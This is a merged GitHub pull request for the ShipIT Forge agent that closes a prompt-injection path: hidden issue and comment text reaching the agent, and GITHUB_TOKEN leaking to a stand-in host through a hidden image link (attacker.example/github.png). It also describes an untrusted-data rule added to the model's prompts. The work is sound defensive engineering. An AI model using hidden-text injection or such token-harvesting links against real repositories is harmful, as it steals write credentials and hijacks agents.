Skip to content

fix(security): hidden issue text no longer reaches the agent or leaks the token - #33

Merged
iamrraj merged 1 commit into
mainfrom
fix/hidden-issue-content
Nov 1, 2026
Merged

iamrraj merged 1 commit into
mainfrom
fix/hidden-issue-content

Conversation

@iamrraj

@iamrraj iamrraj commented Nov 1, 2026

Copy link
Copy Markdown
Contributor

Why

The Radware-reported campaign (Sept 2026, 61 public repos) hid commands in issue and comment text that GitHub doesn't render, aiming at workflows that pass that text into a shell. Forge's workflows don't do that, but Forge passes the same text to an agent that holds contents: write and the model credentials.

Changes

  • Image fetcher token leak (src/github/images.ts). GITHUB_TOKEN was sent to any image URL containing github, so a hidden ![x](https://attacker.example/github.png) received it. The token now goes only to github.com, user-images.githubusercontent.com and private-user-images.githubusercontent.com, over https, and never to a URL with userinfo.
  • Hidden text stripped (src/github/context.ts). HTML comments (including unterminated ones), link-reference definition lines ([//]: # (…)), and zero-width / bidi / Unicode tag characters are removed before the model reads an issue, PR description, discussion, or @mention (including skill arguments). Images hidden inside comments are not fetched.
  • Untrusted-data note. Every prompt built from user text says it is untrusted and that instructions in it are never followed.

Tests

  • New: tests/github/context.test.ts
  • Extended: tests/github/images.test.ts (token host allowlist, including look-alike hosts) and tests/github/handlers.integration.test.ts (@mention end to end)
  • Every new test was written first and failed before the fix.
  • npm run typecheck is clean; npx vitest run passes 867/867.

Not covered

  • I didn't post a live issue to confirm that GitHub hides [//]: # lines. That behaviour comes from the CommonMark spec.
  • Visible comments from strangers still reach the agent, with only the untrusted-data note guarding them.
  • Images on non-GitHub hosts are still fetched, now without the token.

After merge

Cut a release and move v2, redeploy the hosted app if it runs this code, and pin consumers (shipit_agent, shipit-watchtower) to the merged commit SHA.

… the token

Issue, PR and comment text is written by anyone on a public repository, and
GitHub hides some of it from the maintainer who triggers a run: HTML comments,
link-reference definition lines, and zero-width / bidi / Unicode tag
characters. That is how the September 2026 issue-injection campaign smuggled
commands into 61 repositories. All of it is now stripped before the model
reads the issue, the PR description, the discussion or an @mention, and the
prompt marks user text as untrusted data whose instructions are never
followed.

The image fetcher sent GITHUB_TOKEN to any URL containing "github", so a
hidden ![x](https://attacker.example/github.png) received a token with
contents: write. It now authenticates only to the GitHub attachment hosts over
https, and an image hidden in a comment is never fetched at all.
@github-actions

github-actions Bot commented Nov 1, 2026

Copy link
Copy Markdown

πŸ›‘οΈ ShipIT Forge β€” security scan

βœ… Nothing found. No committed credentials, no infrastructure or workflow misconfiguration, and nothing matching the source-code security rules.

What was scanned
  • Committed credentials β€” Named shapes from thirty-one providers β€” GitHub, AWS, Anthropic, OpenAI, Google, Slack, Stripe, GitLab, SendGrid, Twilio, Shopify, HuggingFace, Linear, npm, JWT, PEM private keys, database URLs and more β€” and, because a provider list is never complete, a generic pass that reads the variable name and the randomness of the value rather than the vendor. Placeholders, names and empty PEM headers are not findings; a real key in documentation is one, at lower severity.
  • Infrastructure and workflows β€” Dockerfile and Compose (running as root, :latest bases, remote ADD, privileged services), Kubernetes (privileged pods, host-path mounts), Terraform (0.0.0.0/0, public buckets, encryption switched off), and GitHub Actions (mutable action pins, pull_request_target, untrusted event text reaching a shell).
  • Source code β€” Command injection (CWE-78), path traversal (CWE-22), clear-text logging of a credential (CWE-532), information exposure through an exception (CWE-209), open redirect (CWE-601), unsafe deserialization (CWE-502), binding every interface (CWE-1327), and workflows that never declare their permissions (CWE-732). Each needs something attacker-controlled and something dangerous done with it on the same line.

All of it is deterministic: the same commit gives the same answer, every time, with no model call and no token cost. The model review judges what is reachable and worth worrying about; this pass judges nothing and simply never gets bored.

Scanned 6 files in the files this pull request changes. No model call β€” this scan is deterministic and costs nothing.

@github-actions

github-actions Bot commented Nov 1, 2026 •

Copy link
Copy Markdown

πŸ‘€ ShipIT Forge β€” what this run looked at:

Pass Looking for
πŸ”‘ Secrets Committed credentials β€” provider shapes, entropy, file context
πŸ—οΈ Infrastructure Dockerfile, Compose, Kubernetes, Terraform, workflows
🧩 Code Injection, traversal, credentials in logs, unsafe deserialization
πŸ€– Code review The model reads the diff β€” correctness, security, and what it would break

The scans are deterministic β€” no model call, no token cost β€” and run before the review, so their findings survived even if the model run stopped early. Findings arrive as inline comments, plus one security-scan comment grouped by rule.


πŸ” ShipIT Forge reviewed this PR β€” πŸ’¬ commented (no blocking issues)

No findings.

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ShipIT Forge review

βœ… No blocking issues found. I reviewed the changed files and ran:

  • πŸ›‘οΈ Security checks β€” SSRF, injection (SQL/command/template), broken auth/authz, hardcoded secrets, unsafe deserialization, path traversal, weak crypto.
  • πŸ”§ Code review β€” correctness, error handling, missing tests, clarity.

Nothing to flag. This is a comment, not an approval β€” ShipIT Forge never approves PRs; a human reviewer should approve and merge.

@iamrraj
iamrraj merged commit 32c8c3a into main Nov 1, 2026
5 checks passed
@iamrraj
iamrraj deleted the fix/hidden-issue-content branch November 1, 2026 11:10
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant